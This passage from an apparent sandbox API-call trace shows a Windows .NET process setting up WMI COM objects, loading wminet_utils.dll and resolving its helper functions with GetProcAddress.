riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0142.273] WbemDefPath:IUnknown:AddRef (This=0x5c91c50) returned 0x3 [0142.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c91c50, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0142.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c91c50, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0142.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c91c50, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c58938) returned 0x0 [0142.273] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c58938, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.273] WbemDefPath:IUnknown:Release (This=0x5c58938) returned 0x3 [0142.273] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0142.274] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0142.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c91c50, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0142.274] WbemDefPath:IUnknown:Release (This=0x5c91c50) returned 0x2 [0142.274] WbemDefPath:IUnknown:Release (This=0x5c91c50) returned 0x1 [0142.274] SetEvent (hEvent=0x580) returned 1 Thread: id = 84 os_tid = 0xd38 [0120.198] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0120.199] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x5e4f354 | out: lpiid=0x5e4f354) returned 0x0 [0120.200] CoGetClassObject (in: rclsid=0x3e6374*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e4f070 | out: ppv=0x5e4f070*=0x5c4d7b8) returned 0x0 [0120.365] WbemLocator:IUnknown:QueryInterface (in: This=0x5c4d7b8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e4f288 | out: ppvObject=0x5e4f288*=0x0) returned 0x80004002 [0120.365] WbemLocator:IClassFactory:CreateInstance (in: This=0x5c4d7b8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e4f294 | out: ppvObject=0x5e4f294*=0x5c4f168) returned 0x0 [0120.366] WbemLocator:IUnknown:Release (This=0x5c4d7b8) returned 0x0 [0120.366] WbemLocator:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e4eeb4 | out: ppvObject=0x5e4eeb4*=0x5c4f168) returned 0x0 [0120.366] WbemLocator:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e4ee68 | out: ppvObject=0x5e4ee68*=0x0) returned 0x80004002 [0120.366] WbemLocator:IUnknown:AddRef (This=0x5c4f168) returned 0x3 [0120.366] WbemLocator:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e4e7c4 | out: ppvObject=0x5e4e7c4*=0x0) returned 0x80004002 [0120.366] WbemLocator:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e4e774 | out: ppvObject=0x5e4e774*=0x0) returned 0x80004002 [0120.366] WbemLocator:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e4e780 | out: ppvObject=0x5e4e780*=0x0) returned 0x80004002 [0120.366] CoGetContextToken (in: pToken=0x5e4e7e0 | out: pToken=0x5e4e7e0) returned 0x0 [0120.367] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5c4d7bc | out: ppv=0x5c4d7bc*=0x3428f0) returned 0x0 [0120.398] CoGetContextToken (in: pToken=0x5e4ebf4 | out: pToken=0x5e4ebf4) returned 0x0 [0120.398] WbemLocator:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e4ec74 | out: ppvObject=0x5e4ec74*=0x0) returned 0x80004002 [0120.398] WbemLocator:IUnknown:Release (This=0x5c4f168) returned 0x2 [0120.398] WbemLocator:IUnknown:Release (This=0x5c4f168) returned 0x1 [0120.399] CoGetContextToken (in: pToken=0x5e4f26c | out: pToken=0x5e4f26c) returned 0x0 [0120.399] CoGetContextToken (in: pToken=0x5e4f1cc | out: pToken=0x5e4f1cc) returned 0x0 [0120.399] WbemLocator:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x5e4f29c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e4f298 | out: ppvObject=0x5e4f298*=0x5c4f168) returned 0x0 [0120.399] WbemLocator:IUnknown:AddRef (This=0x5c4f168) returned 0x3 [0120.399] WbemLocator:IUnknown:Release (This=0x5c4f168) returned 0x2 [0120.399] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x5e4f42c | out: puCount=0x5e4f42c*=0x2) returned 0x0 [0120.399] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=8, puBuffLength=0x5e4f428*=0x0, pszText=0x0 | out: puBuffLength=0x5e4f428*=0xf, pszText=0x0) returned 0x0 [0120.399] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=8, puBuffLength=0x5e4f428*=0xf, pszText="00000000000000" | out: puBuffLength=0x5e4f428*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.402] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x5e4f330 | out: phkResult=0x5e4f330*=0x484) returned 0x0 [0120.403] RegQueryValueExW (in: hKey=0x484, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x5e4f34c, lpData=0x0, lpcbData=0x5e4f348*=0x0 | out: lpType=0x5e4f34c*=0x0, lpData=0x0, lpcbData=0x5e4f348*=0x0) returned 0x2 [0120.403] RegCloseKey (hKey=0x484) returned 0x0 [0120.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x104, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0120.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x5e4eb78, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63 [0120.410] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6a810000 [0120.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x5e4ebac, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecuritym·q¨Ûï\x9cDþ+q\x88îä\x05\x01", lpUsedDefaultChar=0x0) returned 13 [0120.670] GetProcAddress (hModule=0x6a810000, lpProcName="ResetSecurity") returned 0x6a817dd0 [0120.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x5e4ebac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11 [0120.679] GetProcAddress (hModule=0x6a810000, lpProcName="SetSecurity") returned 0x6a817e20 [0120.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x5e4eba8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServices·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 18 [0120.688] GetProcAddress (hModule=0x6a810000, lpProcName="BlessIWbemServices") returned 0x6a816e70 [0120.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x5e4eba0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 24 [0120.795] GetProcAddress (hModule=0x6a810000, lpProcName="BlessIWbemServicesObject") returned 0x6a816ed0 [0120.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x5e4eba8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandlem·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 17 [0120.823] GetProcAddress (hModule=0x6a810000, lpProcName="GetPropertyHandle") returned 0x6a817820 [0120.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x5e4eba8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValue·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 18 [0120.933] GetProcAddress (hModule=0x6a810000, lpProcName="WritePropertyValue") returned 0x6a817fa0 [0120.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x5e4ebb4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonem·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 5 [0120.945] GetProcAddress (hModule=0x6a810000, lpProcName="Clone") returned 0x6a816f30 [0120.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x5e4eba8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0120.955] GetProcAddress (hModule=0x6a810000, lpProcName="VerifyClientKey") returned 0x6a817f20 [0120.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x5e4eba8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0120.961] GetProcAddress (hModule=0x6a810000, lpProcName="GetQualifierSet") returned 0x6a8178e0 [0120.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x5e4ebb4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3 [0120.963] GetProcAddress (hModule=0x6a810000, lpProcName="Get") returned 0x6a8175c0 [0121.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x5e4ebb4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", lpUsedDefaultChar=0x0) returned 3 [0121.076] GetProcAddress (hModule=0x6a810000, lpProcName="Put") returned 0x6a817a00 [0121.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x5e4ebb4, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Delete·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 6 [0121.093] GetProcAddress (hModule=0x6a810000, lpProcName="Delete") returned 0x6a817300 [0121.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x5e4ebb0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 8 [0121.209] GetProcAddress (hModule=0x6a810000, lpProcName="GetNames") returned 0x6a8177c0 [0121.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x5e4eba8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 16 [0121.313] GetProcAddress (hModule=0x6a810000, lpProcName="BeginEnumeration") returned 0x6a816e30 [0121.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x5e4ebb4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 4 [0121.322] GetProcAddress (hModule=0x6a810000, lpProcName="Next") returned 0x6a8179a0 [0121.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x5e4ebac, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumeration·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 14 [0121.429] GetProcAddress (hModule=0x6a810000, lpProcName="EndEnumeration") returned 0x6a8173c0 [0121.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x5e4eba0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0121.435] GetProcAddress (hModule=0x6a810000, lpProcName="GetPropertyQualifierSet") returned 0x6a8178b0 [0121.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x5e4ebb4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonem·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 5 [0121.446] GetProcAddress (hModule=0x6a810000, lpProcName="Clone") returned 0x6a816f30 [0121.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x5e4ebac, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectTextm·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 13 [0121.447] GetProcAddress (hModule=0x6a810000, lpProcName="GetObjectText") returned 0x6a8177f0 [0121.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x5e4eba8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClassm·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 17 [0121.553] GetProcAddress (hModule=0x6a810000, lpProcName="SpawnDerivedClass") returned 0x6a817e80 [0121.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x5e4ebac, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstancem·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 13 [0121.562] GetProcAddress (hModule=0x6a810000, lpProcName="SpawnInstance") returned 0x6a817eb0 [0121.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x5e4ebb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTom·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 9 [0121.564] GetProcAddress (hModule=0x6a810000, lpProcName="CompareTo") returned 0x6a817020 [0121.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x5e4eba8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOriginm·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 17 [0121.574] GetProcAddress (hModule=0x6a810000, lpProcName="GetPropertyOrigin") returned 0x6a817880 [0121.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x5e4ebac, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFrom»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 12 [0121.590] GetProcAddress (hModule=0x6a810000, lpProcName="InheritsFrom") returned 0x6a817900 [0121.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x5e4ebb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodm·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 9 [0121.687] GetProcAddress (hModule=0x6a810000, lpProcName="GetMethod") returned 0x6a817730 [0121.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x5e4ebb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethodm·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 9 [0121.705] GetProcAddress (hModule=0x6a810000, lpProcName="PutMethod") returned 0x6a817bf0 [0121.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x5e4ebac, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 12 [0121.719] GetProcAddress (hModule=0x6a810000, lpProcName="DeleteMethod") returned 0x6a817320 [0121.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x5e4eba4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumeration·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 22 [0121.721] GetProcAddress (hModule=0x6a810000, lpProcName="BeginMethodEnumeration") returned 0x6a816e50 [0121.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x5e4ebb0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethod·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 10 [0121.722] GetProcAddress (hModule=0x6a810000, lpProcName="NextMethod") returned 0x6a8179d0 [0121.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x5e4eba4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 20 [0121.829] GetProcAddress (hModule=0x6a810000, lpProcName="EndMethodEnumeration") returned 0x6a8173e0 [0121.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x5e4eba4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSetm·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 21 [0121.831] GetProcAddress (hModule=0x6a810000, lpProcName="GetMethodQualifierSet") returned 0x6a817790 [0121.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x5e4eba8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0121.832] GetProcAddress (hModule=0x6a810000, lpProcName="GetMethodOrigin") returned 0x6a817760 [0121.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x5e4eba8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 16 [0121.833] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Get") returned 0x6a817c80 [0121.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x5e4eba8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 16 [0121.848] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Put") returned 0x6a817d10 [0121.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x5e4eba4, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19 [0121.862] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Delete") returned 0x6a817c40 [0121.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x5e4eba4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNamesm·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 21 [0121.863] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_GetNames") returned 0x6a817cb0 [0121.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x5e4eb9c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumerationm·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 29 [0121.973] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a817c20 [0121.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x5e4eba8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Nextm·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 17 [0121.974] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Next") returned 0x6a817ce0 [0121.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x5e4eb9c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration", lpUsedDefaultChar=0x0) returned 27 [0121.989] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a817c60 [0121.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x5e4eba0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0121.990] GetProcAddress (hModule=0x6a810000, lpProcName="GetCurrentApartmentType") returned 0x6a8178e0 